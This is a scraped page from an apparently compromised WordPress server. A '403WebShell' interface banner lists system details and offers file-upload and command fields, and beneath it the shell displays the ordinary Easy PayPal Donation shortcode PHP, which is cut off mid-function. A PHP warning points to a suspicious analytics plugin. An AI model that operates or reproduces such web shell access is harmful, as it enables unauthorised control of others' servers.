Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/easy-paypal-donation/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/easy-paypal-donation/includes/public_shortcode.php
<?php

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly


// shortcode
add_shortcode('wpedon', 'wpedon_shortcode');

function wpedon_shortcode($atts) {
	// get shortcode id
    $atts = shortcode_atts(array(
        'id'		=> '',
        'align' 	=> '',
        'widget' 	=> '',
        'name' 		=> '',
        'image' 	=> ''
    ), $atts);

    $post_id = $atts['id'];

	// paypal account data
	$ppcp = new \WPEasyDonation\Base\PpcpController();
	$paypal_connection_data = $ppcp->paypal_connection_data( $post_id  );

	// stripe account data
	$stripe = new \WPEasyDonation\Base\Stripe();
	$stripe_account_data = $stripe->connection_data($post_id);
	
	

	if (empty($paypal_connection_data) && empty($stripe_account_data)) {
		return '(' . esc_html__('Please enter your Payment methods data on the settings pages.', 'easy-paypal-donation') . ')';
	}

	// get settings page values
	$options = \WPEasyDonation\Helpers\Option::get();
	foreach ($options as $k => $v ) { $value[$k] = $v; }

	// get values for button
	$wpedon_button_price_type = !empty( $paypal_connection_data ) && $paypal_connection_data['connection_type'] === 'manual' ?
        'fixed' :
        esc_attr(get_post_meta($post_id,'wpedon_button_price_type',true));

	$amount = 	get_post_meta($post_id,'wpedon_button_price',true);
	$sku = 		get_post_meta($post_id,'wpedon_button_id',true);

	// price dropdown
	$wpedon_button_scpriceprice = get_post_meta($post_id,'wpedon_button_scpriceprice',true);
	$wpedon_button_scpriceaname = get_post_meta($post_id,'wpedon_button_scpriceaname',true);
	$wpedon_button_scpricebname = get_post_meta($post_id,'wpedon_button_scpricebname',true);
	$wpedon_button_scpricecname = get_post_meta($post_id,'wpedon_button_scpricecname',true);
	$wpedon_button_scpricedname = get_post_meta($post_id,'wpedon_button_scpricedname',true);
	$wpedon_button_scpriceename = get_post_meta($post_id,'wpedon_button_scpriceename',true);
	$wpedon_button_scpricefname = get_post_meta($post_id,'wpedon_button_scpricefname',true);
	$wpedon_button_scpricegname = get_post_meta($post_id,'wpedon_button_scpricegname',true);
	$wpedon_button_scpricehname = get_post_meta($post_id,'wpedon_button_scpricehname',true);
	$wpedon_button_scpriceiname = get_post_meta($post_id,'wpedon_button_scpriceiname',true);
	$wpedon_button_scpricejname = get_post_meta($post_id,'wpedon_button_scpricejname',true);

	$wpedon_button_scpricea = get_post_meta($post_id,'wpedon_button_scpricea',true);
	$wpedon_button_scpriceb = get_post_meta($post_id,'wpedon_button_scpriceb',true);
	$wpedon_button_scpricec = get_post_meta($post_id,'wpedon_button_scpricec',true);
	$wpedon_button_scpriced = get_post_meta($post_id,'wpedon_button_scpriced',true);
	$wpedon_button_scpricee = get_post_meta($post_id,'wpedon_button_scpricee',true);
	$wpedon_button_scpricef = get_post_meta($post_id,'wpedon_button_scpricef',true);
	$wpedon_button_scpriceg = get_post_meta($post_id,'wpedon_button_scpriceg',true);
	$wpedon_button_scpriceh = get_post_meta($post_id,'wpedon_button_scpriceh',true);
	$wpedon_button_scpricei = get_post_meta($post_id,'wpedon_button_scpricei',true);
	$wpedon_button_scpricej = get_post_meta($post_id,'wpedon_button_scpricej',true);

	$post_data = 	get_post($post_id);
	$name = 		$post_data->post_title;

	$rand_string = esc_attr(md5(uniqid(rand(), true)));

	// show name
	$wpedon_button_enable_name = 		get_post_meta($post_id,'wpedon_button_enable_name',true);

	// show price
	$wpedon_button_enable_price = 		get_post_meta($post_id,'wpedon_button_enable_price',true);

	// show currency
	$wpedon_button_enable_currency = 	get_post_meta($post_id,'wpedon_button_enable_currency',true);
	
	// use a custom donation amount text
	$wpedon_button_donation_text = 		get_post_meta($post_id,'wpedon_button_donation_text',true);

	// live of test mode
	if ($value['mode'] == "1") {
		$account = $value['sandboxaccount'];
		$path = "sandbox.paypal";
	} elseif ($value['mode'] == "2")  {
		$account = $value['liveaccount'];
		$path = "paypal";
	}

	$account_a = get_post_meta($post_id,'wpedon_button_account',true);
	if (!empty($account_a)) { $account = $account_a; }

	// currency
	$currency_a = get_post_meta($post_id,'wpedon_button_currency',true);
	if (!empty($currency_a)) { $value['currency'] = $currency_a; }

	$currency = \WPEasyDonation\Helpers\Func::currency_code_to_iso($value['currency']);

	// language
	$language_a = get_post_meta($post_id,'wpedon_button_language',true);

	if (!empty($language_a)) { $value['language'] = $language_a; }
	
	if (!isset($value['language']) || empty($value['language']) || $value['language'] === "default") {
		$value['language'] = "3";
	}
	
	if ($value['language'] == "1") {
		$language = "da_DK";
		$imagea = "https://www.paypal.com/da_DK/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/da_DK/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/da_DK/DK/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Danish

	if ($value['language'] == "2") {
		$language = "nl_BE";
		$imagea = "https://www.paypal.com/nl_NL/NL/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/nl_NL/NL/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/nl_NL/NL/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Dutch

	if ($value['language'] == "3") {
		$language = "en_US";
		$imagea = "https://www.paypal.com/en_US/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/en_US/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/en_US/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //English

	if ($value['language'] == "20") {
		$language = "en_GB";
		$imagea = "https://www.paypalobjects.com/en_GB/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypalobjects.com/en_GB/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypalobjects.com/en_US/GB/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //English - UK

	if ($value['language'] == "4") {
		$language = "fr_CA";
		$imagea = "https://www.paypal.com/fr_CA/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/fr_CA/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/fr_CA/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //French

	if ($value['language'] == "5") {
		$language = "de_DE";
		$imagea = "https://www.paypal.com/de_DE/DE/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/de_DE/DE/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/de_DE/DE/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //German

	if ($value['language'] == "6") {
		$language = "he_IL";
		$imagea = "https://www.paypal.com/he_IL/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/he_IL/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/he_IL/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Hebrew

	if ($value['language'] == "7") {
		$language = "it_IT";
		$imagea = "https://www.paypal.com/it_IT/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/it_IT/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/it_IT/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Italian

	if ($value['language'] == "8") {
		$language = "ja_JP";
		$imagea = "https://www.paypal.com/ja_JP/JP/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/ja_JP/JP/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/ja_JP/JP/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Japanese

	if ($value['language'] == "9") {
		$language = "no_NO";
		$imagea = "https://www.paypal.com/no_NO/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/no_NO/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/no_NO/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Norwegian

	if ($value['language'] == "10") {
		$language = "pl_PL";
		$imagea = "https://www.paypal.com/pl_PL/PL/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/pl_PL/PL/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/pl_PL/PL/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Polish

	if ($value['language'] == "11") {
		$language = "pt_BR";
		$imagea = "https://www.paypal.com/pt_PT/PT/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/pt_PT/PT/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/pt_PT/PT/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Portuguese

	if ($value['language'] == "12") {
		$language = "ru_RU";
		$imagea = "https://www.paypal.com/ru_RU/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/ru_RU/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/ru_RU/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Russian

	if ($value['language'] == "13") {
		$language = "es_ES";
		$imagea = "https://www.paypal.com/es_ES/ES/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/es_ES/ES/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/es_ES/ES/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Spanish

	if ($value['language'] == "14") {
		$language = "sv_SE";
		$imagea = "https://www.paypal.com/sv_SE/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/sv_SE/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/sv_SE/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Swedish

	if ($value['language'] == "15") {
		$language = "zh_CN";
		$imagea = "https://www.paypal.com/zh_XC/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/zh_XC/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/zh_XC/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Simplified Chinese - China

	if ($value['language'] == "16") {
		$language = "zh_HK";
		$imagea = "https://www.paypal.com/zh_HK/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/zh_HK/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/zh_HK/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Traditional Chinese - Hong Kong

	if ($value['language'] == "17") {
		$language = "zh_TW";
		$imagea = "https://www.paypalobjects.com/en_US/TW/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypalobjects.com/en_US/TW/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypalobjects.com/en_US/TW/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Traditional Chinese - Taiwan

	if ($value['language'] == "18") {
		$language = "tr_TR";
		$imagea = "https://www.paypal.com/tr_TR/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/tr_TR/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/tr_TR/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Turkish

	if ($value['language'] == "19") {
		$language = "th_TH";
		$imagea = "https://www.paypal.com/en_US/i/btn/btn_donate_SM.gif";
		$imageb = "https://www.paypal.com/en_US/i/btn/btn_donate_LG.gif";
		$imagec = "https://www.paypal.com/en_US/i/btn/btn_donateCC_LG.gif";
		$imaged = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_74x21.png";
		$imagee = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_92x26.png";
		$imagef = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_cc_147x47.png";
		$imageg = "https://www.paypalobjects.com/webstatic/en_US/btn/btn_donate_pp_142x27.png";
	} //Thai - Thai buttons not available for donation - using US is correct

	// custom button size
	$wpedon_button_buttonsize = get_post_meta($post_id,'wpedon_button_buttonsize',true);

	if ($wpedon_button_buttonsize != "0") {
		$value['size'] = $wpedon_button_buttonsize;
	}

	if (empty($value['size'])) {
        $options = \WPEasyDonation\Helpers\Option::get();
        $value['size'] = $options['size'];
    }

	// button size
	if ($value['size'] == "1") { $img = $imagea; }
	if ($value['size'] == "2") { $img = $imageb; }
	if ($value['size'] == "3") { $img = $imagec; }
	if ($value['size'] == "4") { $img = $imaged; }
	if ($value['size'] == "5") { $img = $imagee; }
	if ($value['size'] == "6") { $img = $imagef; }
	if ($value['size'] == "7") { $img = $imageg; }
	if ($value['size'] == "8") { $img = $value['image_1']; }
	
	// image
	if (array_key_exists('image', $atts) && ($atts['image'] != "")) {
			$img = $atts['image'];
	}

	// return url
	$return = "";
	$return = $value['return'];
	$return_a = get_post_meta($post_id,'wpedon_button_return',true);
	if (!empty($return_a)) { $return = $return_a; }

	// window action
	if ($value['opens'] == "1") { $target = ""; }
	if ($value['opens'] == "2") { $target = "_blank"; }

	// alignment
	// Check button-specific align setting first, then shortcode attribute, then default
	$button_align = get_post_meta($post_id, 'wpedon_button_align', true);
	$align_value = !empty($button_align) ? $button_align : $atts['align'];
	
	switch ( $align_value ) {
		case 'left':
			$alignment = ' wpedon-align-left';
			break;
		case 'right':
			$alignment = ' wpedon-align-right';
			break;
		case 'center':
			$alignment = ' wpedon-align-center';
			break;
		default:
			$alignment = ' wpedon-align-left';
	}

	// notify url
	$notify_url = get_admin_url() . "admin-post.php?action=add_wpedon_button_ipn";

	$paypal_input_width = !empty( $paypal_connection_data ) && !empty( $paypal_connection_data['width'] ) ? intval( $paypal_connection_data['width'] ) : 0;
	$stripe_input_width = !empty( $stripe_account_data ) && !empty( $stripe_account_data['width'] ) ? intval( $stripe_account_data['width'] ) : 0;
	$wpedon_input_width = max( $paypal_input_width, $stripe_input_width );
	$output = "<style>
        .wpedon-container .wpedon-select,
        .wpedon-container .wpedon-input {
            width: {$wpedon_input_width}px;
            min-width: {$wpedon_input_width}px;
            max-width: {$wpedon_input_width}px;
        }
    </style>";

	$output .= "<div class='wpedon-container{$alignment}'>";

	// text description title
	if ($wpedon_button_enable_name == "1" || ($wpedon_button_enable_price == "1" && $wpedon_button_price_type !== 'manual')) {
		$output .= "<label id='wpedon-$post_id-name-label'>";
	}

	if ($wpedon_button_enable_name == "1") {
		$output .= esc_html($name);
	}

	if ($wpedon_button_price_type !== 'manual' && $wpedon_button_enable_name == "1" && $wpedon_button_enable_price == "1") {
		$output .= "<br /><span class='price'>";
	}

	if ($wpedon_button_price_type !== 'manual' && $wpedon_button_enable_price == "1") {
		$output .= esc_html($amount) ."</span>";
	}

	if ($wpedon_button_price_type !== 'manual' && $wpedon_button_enable_price == "1") {
		if ($wpedon_button_enable_currency == "1") {
			$output .= esc_html($currency);
		}
	}

	if ($wpedon_button_enable_name == "1" || ($wpedon_button_enable_price == "1" && $wpedon_button_price_type !== 'manual')) {
		$output .= "</label><br />";
	}

	if ( $wpedon_button_price_type === 'manual' ) {
		// price input
		$output .= '<div><br/>';
		//$output .= '<label id="wpedon-'.$post_id.'-amount-label">' . __( 'Donation amount' ) . (($wpedon_button_enable_currency == "1") ? " ({$currency})" : '') . '</label>';
		$output .= '<label id="wpedon-'.$post_id.'-amount-label">' . (isset($wpedon_button_donation_text) && !empty($wpedon_button_donation_text) ? $wpedon_button_donation_text : __( 'Donation Amount', 'easy-paypal-donation' )) . (($wpedon_button_enable_currency == "1") ? " ({$currency})" : '') . '</label>';

		$output .= '<br />';
		$output .= "<input type='number' min='1' step='any' name='ddm_{$rand_string}' class='wpedon-input' value='{$amount}' />";
		$output .= "<script>
                jQuery(document).ready(function($){
                    jQuery('[name=\"ddm_{$rand_string}\"]').on('change', function(){
                      jQuery('#amount_$rand_string').val($(this).val());
                      jQuery('#price_$rand_string').val($(this).val());
                    });
                });
            </script>";
		$output .= '<br/><br/></div>';
	} elseif (!empty($wpedon_button_scpriceprice)) {
		// price dropdown menu

		// dd is active so set first value just in case no option is selected by user
		$amount =$wpedon_button_scpricea;

		$output .= "
		<script>
		jQuery(document).ready(function(){
			jQuery('#dd_$rand_string').on('change', function() {
			  jQuery('#amount_$rand_string').val(this.value);
              jQuery('#price_$rand_string').val(this.value);
			});
		});
		</script>
		";


		if (!empty($wpedon_button_scpriceprice)) { $output .= "<br /><label style='font-size:11pt !important;'>" . esc_html($wpedon_button_scpriceprice) . "</label><br /><select class='wpedon-select' name='dd_$rand_string' id='dd_$rand_string'>"; }
		if (!empty($wpedon_button_scpriceaname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpricea) . "'>" . esc_html($wpedon_button_scpriceaname) . "</option>"; }
		if (!empty($wpedon_button_scpricebname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpriceb) . "'>" . esc_html($wpedon_button_scpricebname) . "</option>"; }
		if (!empty($wpedon_button_scpricecname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpricec) . "'>" . esc_html($wpedon_button_scpricecname) . "</option>"; }
		if (!empty($wpedon_button_scpricedname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpriced) . "'>" . esc_html($wpedon_button_scpricedname) . "</option>"; }
		if (!empty($wpedon_button_scpriceename)) { $output .= "<option value='" . esc_attr($wpedon_button_scpricee) . "'>" . esc_html($wpedon_button_scpriceename) . "</option>"; }
		if (!empty($wpedon_button_scpricefname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpricef) . "'>" . esc_html($wpedon_button_scpricefname) . "</option>"; }
		if (!empty($wpedon_button_scpricegname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpriceg) . "'>" . esc_html($wpedon_button_scpricegname) . "</option>"; }
		if (!empty($wpedon_button_scpricehname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpriceh) . "'>" . esc_html($wpedon_button_scpricehname) . "</option>"; }
		if (!empty($wpedon_button_scpriceiname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpricei) . "'>" . esc_html($wpedon_button_scpriceiname) . "</option>"; }
		if (!empty($wpedon_button_scpricejname)) { $output .= "<option value='" . esc_attr($wpedon_button_scpricej) . "'>" . esc_html($wpedon_button_scpricejname) . "</option>"; }
		if (!empty($wpedon_button_scpriceprice)) { $output .= "</select><br /><br />"; }
	}

	// override name field if passed as shortcode attribute
	if (!empty($atts['name'])) {
		$name = $atts['name'];
	}

    if (!empty($paypal_connection_data) && $paypal_connection_data['connection_type'] === 'manual') {
        $output .= "<form target='$target' action='https://www.$path.com/cgi-bin/webscr' method='post' class='wpedon-form'>";
        $output .= "<input type='hidden' name='cmd' value='_donations' />";
        $output .= "<input type='hidden' name='business' value='" . esc_attr($account) . "' />";
        $output .= "<input type='hidden' name='currency_code' value='" . esc_attr($currency) . "' />";
        $output .= "<input type='hidden' name='notify_url' value='" . esc_attr($notify_url) . "'>";
        $output .= "<input type='hidden' name='lc' value='" . $language . "'>";
        $output .= "<input type='hidden' name='bn' value='WPPlugin_SP'>";
        $output .= "<input type='hidden' name='return' value='" . esc_attr($return) . "' />";
        $output .= "<input type='hidden' name='cancel_return' value='" . esc_attr($value['cancel']) . "' />";
        $output .= "<input class='wpedon_paypalbuttonimage' type='image' src='" . esc_attr($img) . "' border='0' name='submit' alt='" . esc_attr__('Make your payments with PayPal. It is free, secure, effective.', 'easy-paypal-donation') . "' style='border: none;'>";
        $output .= "<img alt='' border='0' style='border:none;display:none;' src='https://www.paypal.com/$language/i/scr/pixel.gif' width='1' height='1'>";
    } else {
        $form_classes = ['wpedon-form'];
        if ( empty( $paypal_connection_data['advanced_cards'] ) ) {
            $form_classes[] = 'wpedon-form-disabled';
        }
        $form_classes = implode( ' ', $form_classes );
        $output .= "<form class='{$form_classes}' id='{$rand_string}' action='#' method='post'>";
    }
    if ( !empty( $paypal_connection_data ) && $paypal_connection_data['connection_type'] === 'ppcp' ) {
        $output .= wpedon_ppcp_html( $paypal_connection_data, $rand_string );
    }
    if ( !empty( $stripe_account_data )) {
        if ($stripe_account_data['show'] != '2') {
            $message = '';
            if ( isset( $_GET['wpedon_stripe_success'] ) ) {
                if ( $_GET['wpedon_stripe_success'] == 1 ) {
                    $message = '<span class="payment-success">' . esc_html__('The payment was successful', 'easy-paypal-donation') . '</span>';
                } elseif ( $_GET['wpedon_stripe_success'] == 0 ) {
                    if ( isset($_GET['payment_cancelled']) && $_GET['payment_cancelled'] == 1 ) {
                        $message = '<span class="payment-error">' . esc_html__('The payment was cancelled.', 'easy-paypal-donation') . '</span>';
                    } else {
                        $message = '<span class="payment-error">' . esc_html__('An unknown payment error has occurred. Please try again', 'easy-paypal-donation') . '</span>';
                    }
                }
            }
            if (isset($stripe_account_data['width'])) {
                $output .= "<style>.wpedon-stripe-button-container >* {max-width: {$stripe_account_data['width']}px !important;}</style>";
            }
            $output .= "<div class='wpedon-stripe-button-container'>";
            $output .= "<a href='#' class='wpedon-stripe-button'><span>" . esc_html__('Donate with Stripe', 'easy-paypal-donation') . "</span></a>";
            $output .= "</div>";
            $output .= "<div class='wpedon-payment-message'>{$message}</div>";
        }
    }
    $output .= "<input type='hidden' name='amount' id='amount_$rand_string' value='" . esc_attr($amount) . "' />";
    $output .= "<input type='hidden' name='price' id='price_$rand_string' value='" . esc_attr($amount) . "' />";
    $output .= "<input type='hidden' name='item_number' value='" . esc_attr($sku) . "' />";
    $output .= "<input type='hidden' name='item_name' value='" . esc_attr($name) . "' />";
    $output .= "<input type='hidden' name='name' value='" . esc_attr($name) . "' />";
	$output .= "<input type='hidden' name='custom' value='" . esc_attr($post_id) . "'>";
    $output .= "<input type='hidden' name='no_shipping' value='" . esc_attr($value['no_shipping']) . "'>";
    $output .= "<input type='hidden' name='no_note' value='" . esc_attr($value['no_note']) . "'>";
    $output .= "<input type='hidden' name='currency_code' value='" . esc_attr($currency) . "'>";
    $output .= "</form>";

	$output .= '</div>';
	return $output;
}


function wpedon_ppcp_html( $connection_data, $rand_string ) {
	$sdk_attr = [
		'client-id' => $connection_data['client_id'],
		'merchant-id' => $connection_data['seller_id'],
		'currency' => $connection_data['currency'],
		'intent' => $connection_data['intent'],
		'components' => 'buttons,funding-eligibility'
	];

